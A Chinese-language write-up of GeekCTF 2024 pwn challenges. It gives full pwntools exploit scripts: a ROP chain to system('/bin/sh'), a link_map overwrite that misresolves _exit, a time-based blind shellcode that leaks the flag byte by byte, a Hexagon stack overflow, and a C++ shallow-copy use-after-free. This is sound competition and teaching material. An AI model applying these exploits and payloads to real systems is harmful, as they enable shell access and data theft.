WriteUp for GeekCTF 2024

出题之余想打打比赛复健一下,没想到题目质量出奇的高,最后pwn方向第二

memo0

换表base64,注意密文被动态解密过一次

memo1

edit函数中读取v3类型为long long,随后与unsigned int idx进行有符号比较,最后转换为unsigned int 传入myread中。构造负数v3使其补码为想要的目标值即可达成栈溢出

1
-1*(~(len(payload) - 1)&0x7fffffffffffffff)

这里通过多次溢出到canary低位进行覆盖,即可泄露,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
from pwn import*
import os

context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'new-window'])

def debug(cmd = ''):
if len(sys.argv)!=1:
return
cmd += """
b main
bp 0x1863
bp 0x1a52
"""
gdb.attach(p, cmd)
pause()

def exp(host = "chall.geekctf.geekcon.top", port=40311, exe = "./memo1"):
global p
if len(sys.argv)==1:
p = process(exe)
else:
p = remote(host, port)
pass
libb = ELF("./libc.so.6")

poprdi = 0x000000000002a3e5
poprsi = 0x000000000002be51
poprdxrbx= 0x00000000000904a9

p.sendline("CTF_is_interesting_isn0t_it?")
p.sendline("1")
p.recv()
p.sendline("a"*200)
p.recv()

p.sendline("3")
p.recv()
p.sendline(str(-1*(~(0x109 - 1)&0x7fffffffffffffff)).encode())
p.send("a"*0x109)
sleep(0.5)
p.recvuntil(":")
p.sendline("2")
p.recvuntil("Content:\n")
canary = p.recv()[0x112-9:0x119-9].rjust(8, b"\x00")
canary = u64(canary)
log.success(hex(canary))

p.sendline("3")
p.recv()
p.sendline(str(-1*(~(0x118 - 1)&0x7fffffffffffffff)).encode())
p.send("a"*0x118)
sleep(0.5)
p.recvuntil(":")
p.sendline("2")
p.recvuntil("Content:\n")
libc = p.recv()[0x121-9:0x127-9].ljust(8, b"\x00")
libc = u64(libc) - 0x29d90
log.success(hex(libc))

p.sendline("3")
p.recv()
p.sendline(str(-1*(~(0x128 - 1)&0x7fffffffffffffff)).encode())
p.send("a"*0x128)
p.recvuntil(":")
p.sendline("2")
p.recvuntil("Content:\n")
pie = p.recv()[0x131-9:0x137-9].ljust(8, b"\x00")
pie = u64(pie) - 0x1938
log.success(hex(pie))

p.sendline("3")
p.recv()
target = pie + 0x4000
payload = b"a"*0x108 + p64(canary) + p64(1) + p64(libc + poprdi) + p64(0) + p64(libc + poprsi) + p64(target) + p64(libc + poprdxrbx) + p64(8) + p64(0) + p64(libc + libb.symbols['read']) + p64(libc + poprdi) + p64(target)+ p64(pie + 0x101a)+p64(libc + libb.symbols["system"])
p.sendline(str(-1*(~(len(payload) - 1)&0x7fffffffffffffff)).encode())
p.send(payload)
p.recv()
p.sendline("6")
p.recv()
p.send("/bin/sh\x00")
if __name__ == '__main__':
exp()
p.interactive()

memo2

非常好的题目
一眼可以看出要打ld相关的结构,该漏洞在sig函数。程序首先mmap了一块空间,sig函数对该空间的修改存在数组越界,而mmap分配的地址是相对偏移固定的,故我们可以修改到ld.so上的内容
然而本题存在几个坑(我是踩坑大师):

  1. 该程序的tls在libc.so之前,也就是在可控地址之前,这里的v1看似可以写负数补码,但看汇编可以发现地址+偏移的操作前,偏移经过了一次edx-> rdx的无符号扩展的转换。故无法打canary直接溢出
  2. sig只能调用一次,随后调用_exit_exitexit的区别在于后者会调用一系列析构函数,前者则直接调用syscall ,导致基于fini, fini_array的一系列打法都无法实现
  3. strncpy之后到调用_exit之前没有其他需要符号解析的函数,不能通过添加偏移误导dl_resolve向_exit的got表上写地址
  4. 缺少足够可用的指针来伪造重定位表或者符号表,在sig之前不知道ld地址因而也无法在mmap区域里伪造表项

下面是正确解法:
dl_reslove解析函数时,会根据函数的符号沿着所有link_map查找相应符号,对于_exit,会在libc中查找。这个查找的结果是libc的link_map -> l_addr 加上函数的偏移,而我们调试发现这个地址在ld附近,故我们可以通过更改l_addr,使_exit被错误解析到其他函数上
不过这里即使错误解析_exit,也无法直接获得shell,并会在之后的return立即退出。还好我们还有一个栈溢出,通过覆盖canary,能够直接调用stack_chk_fail。如果我们错误解析这个函数,就能在避免canary错误退出的同时,获得一个可观的栈溢出
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
from pwn import*
import os

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'new-window'])

def exp(host = "chall.geekctf.geekcon.top", port=40312, exe = "./memo2"):
global p
if len(sys.argv)==1:
p = remote("0.0.0.0", port)
else:
p = remote(host, port)
pass

offset = 0x160
libclinkmap = 0x2200
exit = 0xeac00
stack_chk_fail = 0x136550
write = 0x114870
poprdi = 0x000000000002a3e5
binsu = 0x001d8678
system = 0x50d70
ret = 0x00000000000f8c92

p.recvuntil(b"Please enter your password: ")
p.sendline(b"CTF_is_interesting_isn0t_it?")

p.recvuntil(b"Your choice:")
p.sendline(b"5")
p.recvuntil(b"Where would you like to sign(after the content): ")
p.sendline(str(libclinkmap+1).encode())
p.recvuntil(b"You will overwrite some content: ")
libc = p.recvn(5).rjust(6, b"\x00").ljust(8, b"\x00")
libc = u64(libc)
log.success(f"[*]libc: {hex(libc)}")
p.recvuntil(b"name: ")
payload = p64(libc + stack_chk_fail - exit)[1:] + p64(libc + 0x22c140) + b"\xc0"
payload = payload.ljust(0x28, b"\x90")
payload += p64(poprdi + libc) + p64(binsu + libc) + p64(ret + libc) +p64(system + libc)
p.send(payload)

if __name__ == '__main__':
exp()
p.interactive()

另外,我本地跑出的libc的link_map的偏移与远端不同,我的解决方法是先泄露出相对偏移固定的ld.so的link_map,通过l_next找到相对固定的vdso的link_map,然后在远端泄露出libc的link_map,可以得到其固定的后两个hex为00,又已知mmap大小为0x2000,故直接从0x2000开始爆破0x100的位置即可,手动爆两次就成功了。

p.s. 后来学习了别人的博客,原来这题是可以伪造表项的,例如伪造strtab,只需让linkmap里的表项指向bss上指针的前一个地址。这应该是正解

shellcode

很有新意的一道shellcode,只允许ow,要求偶数位byte为偶数,奇数位byte位奇数,且奇数不能超过0x80
显然需要构造一个盲注,但是限制如此大的情况下很难直接读入,并且最大的难点在于syscall的机器码为0f 05,连续的两个奇数
于是我们的思路转变为:先构造一个无限制的读入,而要达成这个读入,需要在运行过程中将某个读入的字节码转换为0f 05
我的策略是先找到一个能改目标字节,且满足条件的指令,我选择的是

1
sub [rsi + 0x11], bx   //66 29 5e 11

围绕这条指令和预先寄存器的设置编写read的shellcode如下

1
2
3
4
5
6
7
8
9
10
xor rax,rax
pop rbx
pop rdx
pop rbx
push 1
nop
pop rbx
add rsi, rbx
pop rcx
sub [rsi + 0x11], bx

rsi本身指向数组,至于这里为什么先+1,读者可以自行构造理解
然后读入我们的盲注shellcode,这里懒得算偏移喷射了一些nop,最后exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
import os

context(os = 'linux', arch = 'amd64', log_level = 'info', terminal = ['tmux', 'new-window'])

def debug(cmd = ''):
if len(sys.argv)!=1:
return
cmd += """
b main
bp 0x13d1
"""
gdb.attach(p, cmd)
pause()

if __name__ == '__main__':
flag = "flag{practice_handwrite_shellcode}"
#flag{praatice_hand_rite_rhdkgco?e}
count = 1
for i in range (len(flag),0x40):
left = 0
right = 127
while left < right:
mid = (left + right)>>1
global p
p = remote("chall.geekctf.geekcon.top", 40245)
# p = process("./shellcode")

# shellcode = '''xor rax,rax
# pop rbx
# pop rdx
# pop rbx
# push 1
# nop
# pop rbx
# add rsi, rbx
# /* even */
# pop rcx
# sub [rsi + 0x11], bx
# /* odd */
# '''
p.recvuntil(b"Please input your shellcode:")
# pl = asm(shellcode) + b"\x10\x05\x90"
p.send(b"H1\xc0[Z[j\x01\x90[H\x01\xdeYf)^\x11\x10\x05\x90")

# payload = b"\x90" * 0x18
# payload += asm(shellcraft.open("./flag"))
# payload += asm(shellcraft.read(3, 'rsp', 0x80))
payload = b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8/.gm`f\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_1\xd2\xb2\x80H\x89\xe6\x0f\x05"
# print(payload)
shellcode = f'''
mov dl,byte ptr [rsp+{i}]
mov cl,{mid}
cmp dl,cl
ja loop
mov al,0x1
syscall
loop:
xor rax, rax
mov rdi, 0
mov rsi, rsp
mov rdx, 0x80
syscall
'''
payload += asm(shellcode)
sleep(4)
try:
p.sendline(payload)

start_time = time.time()
p.clean(2)
start_time = time.time() - start_time

except:
pass
else:
if start_time > 2:
left = mid +1
p.close()
else:
right = mid
p.close()
info(f"time-->{count}")
count += 1
flag += chr(left)
info(flag)
if flag[-1]=="}":
break

btw由于网络环境太差,灵敏度已经调很低的情况下爆出来依旧有瑕疵,最后还得靠人脑自动补全(

stkbof

鉴定为:前戏太久,还没开始做我就已经干了

hexagon的简单栈溢出,难点在于搭环境XD
逆向可以选择ida的python插件/ldd插件/ghidra插件,调试据说可以用高通的sdk,但是由于高通的勾使网站根本下不下来,后面采用了一些比较tricky的方式。直接运行会报错缺少ld文件,搜索得知这个ld就是给出的libc的一个软链接

需要先了解hexagon的指令集和栈结构,和arm比较相似。另外,aslr是没有的,所以我们只需事先泄露出栈地址,libc地址,就能一直使用。至于这里为什么要泄露栈地址,因为不存在pop/push,取值的操作都是基于fp的偏移进行的,也就意味着每次覆盖的fp都会成为下一次的栈帧,所以需要控制fp

不使用调试器泄露fp的一种方法是手动patch文件,直接patch出输出fp或者相关量的指令,很炫酷,需要对指令集有所理解;另一种是使用qemu的调试功能

1
qemu-hexagon -L libc -d in_asm,exec,cpu -dfilter 0x20400+0xc0 -strace -D /tmp/log ./chall

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
from pwn import*
import os

context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'new-window'])

def debug(cmd = ''):
if len(sys.argv)!=1:
return
cmd += """
"""
gdb.attach(p, cmd)
pause()

libcbase = 0x40810000
gadget = 0x000204B4
binsu = libcbase + 0x0012279
system = libcbase + 0x000BB920
fp = 0x4080fce0
fp += 0x100

def exp(host = "chall.geekctf.geekcon.top", port=18081, exe = "./memo1"):
global p
p = remote(host, port)
p.send(b'CONNECT rbxgkrrv782pg9y9:1 HTTP/1.0\r\n\r\n')
p.recvline()

pass
p.recvuntil("Do you know \"stack buffer overflow\"?\n")
# 0x4080fd10
payload = (p32(0)*2 + p32(binsu) + p32(0xffffffff) + p32(fp + 0x200) + p32(system)).ljust(0x100, b"\x90") + p32(fp - 0xf0) + p32(gadget)
p.send(payload)

if __name__ == '__main__':
exp()
p.interactive()

cppgame

最佳题目,趣味和挑战性并存,并告诉玩家不当观批就不会打pwn的深刻道理
第一,我不玩塔

题目就是文字版的《杀戮尖塔》,稍微了解C++即可发现漏洞点在于Card类没有拷贝构造函数,在拷贝时会发生浅拷贝,如果调用其中一个对象的析构函数,就会留下悬空指针

虽然源码中没有写出,但手动fuzz并查阅汇编后发现dispaly函数的结尾会delete card并调用析构函数,由于前面发生了浅拷贝,这里会使得原先card的description实际已经释放但仍然可以访问

另外一个漏洞点在于display函数(又是你)输出name是以null作为截断的,如果将name填满,自然会输出之后的description指针,从而达成堆地址的泄露

这两个漏洞组合之后,我们可以改tcache fd从而任意地址分配,也可以double free构造指向同一块内存的指针,再结合vector保存在堆上的指针,我们可以在堆上七进七出了。但最大的问题是,我们只有堆的地址,而保存在堆上的只有卡牌对象。玩家,怪物这些对象全部保存在bss上,导致很难达成一刀999的效果。怪物1337血,还每两回合攻击力翻倍,不开挂,我怎么玩?

在我一筹莫展之际,向身边的塔批朋友分享了我的处境,随后的十分钟里,观者玩家的智慧以一种粗暴的方式射进了我的大脑:你不是能改卡组吗,先这样,再那样,然后你就能转起来了。

我:???

改牌的方式操作起来不难,由于description的大小刚好是0x80,与vector扩容两次之后的大小一致,构造一个double free并随后让vector和description指向同一个地方,然后在一次修改操作里同时完成泄露地址、伪造卡牌和伪造指针的过程。为了节约空间我把卡牌压缩在了一起,现在想来由于type是32位大小,其实还有压缩的空间。
开挂的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*
import os

context(os = 'linux', arch = 'i386', log_level = 'info', terminal = ['tmux', 'new-window'])

def debug(cmd = ''):
if len(sys.argv)!=1:
return
cmd += """
b main
bp 0x2a2d
"""
gdb.attach(p, cmd)
pause()

def menu():
p.recvuntil(b"Your choice:")

def buy(idx):
menu()
p.sendline(b"1")
p.recvuntil(b"which card do you want to buy?\n")
p.sendline(str(idx).encode())

def upgrade(idx):
menu()
p.sendline(b"2")
p.recvuntil(b"Input card index:\n")
p.sendline(str(idx).encode())
p.recvuntil("Your new card name:\n")
p.send(b"\x90" * 0x10)
p.recvuntil(b"\x90" * 0x10)
leak = u64(p.recvn(6).ljust(8, b"\x00"))
heapbase = leak - 0x120a0
log.success(hex(leak))
log.success(hex(heapbase))
p.recvuntil(b":\n")
payload = p64(leak + 0x50)*2 + p64(leak + 0x58)*2 + p64(leak + 0x60)*7
payload = payload.ljust(11, b"\x00") + b"V".ljust(0x8, b"\x00") + b"R".ljust(0x8, b"\x00")
payload += p64(3) + p64(4) + p64(5)
p.send(payload)

def display(idx):
menu()
p.sendline(b"3")
p.recvuntil(b"Input card index:\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Card description:")

def exp(host = "chall.geekctf.geekcon.top", port=40304, exe = "./game"):
global p
if len(sys.argv)==1:
p = process(exe)
else:
p = remote(host, port)
pass

for i in range(4):
buy(1)
for i in range(4):
display(i+1)

buy(1)
buy(1)
buy(1)
display(3)
upgrade(3)

然后我召唤了塔批上号展示操作
此时我手里有11张牌,其中2张暴怒,2张平静,7张猛虎下山(牌型分布参考专家意见)。他开局先是把手里的猛虎下山全部丢掉,同时一直挨打,但是猛虎下山快丢完的时刻出现了转机:由于猛虎下山使用之后不放入弃牌堆,现在牌堆里只有暴怒和平静。因为使用了猛虎下山,每次(平静时)使用暴怒都会获得两张牌,获得两点能量,并对怪物造成伤害,随后使用平静刷新状态。由于手牌有3张,牌库总共4张,故每次手牌中都至少存在一张暴怒和一张平静,而每打完这两张牌,就会因为暴怒重新获得2张牌和2点能量,也就是没有任何损耗。如果一直交替出这两张牌,就能在一回合之内无限连下去,直到击碎神明!

代练脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
if __name__ == '__main__':
exp()
p.sendlineafter(b"choice: ", b"6")
calm = False
while True:
p.recvuntil(b"hand:")
p.recvline()

cards = []
res = b''
for i in range(3):
res = p.recvline().strip()
log.info(f"Card: {res}")

if res[0] in [49, 50, 51]:
res = res.split(b" ")[-1]
else:
break

if (res == b"V" or res == b"R"):
cards.append(res.decode())
else:
cards.append("N")

log.info(f"Hand: {cards}")

if not b'-' in res:
p.recvline()

info = p.recvuntil(b'-', drop=True)
log.info(f"Your Info: \n{info.decode()}")

p.recvline()

info = p.recvuntil(b'-', drop=True)
log.info(f"Monster: \n{info.decode()}")
moster_hp = int(info.split(b"HP: ")[-1].split(b"M")[0].strip())

log.info("Calm" if calm else "Wrath")
log.info(f"Monster HP: {moster_hp}")

p.recvuntil(b"turn):")

if "R" in cards:
p.sendline(str(cards.index("R") + 1).encode())
else:
if not "N" in cards:
calm = False
if not "V" in cards:
calm = True

if calm:
p.sendline(str(cards.index("N") + 1).encode())
if moster_hp < 8:
break
calm = False
else:
p.sendline(str(cards.index("V") + 1).encode())
calm = True

log.success("来玩杀戮尖塔谢谢喵~")
p.sendline(b"cat flag")
p.interactive()

很酷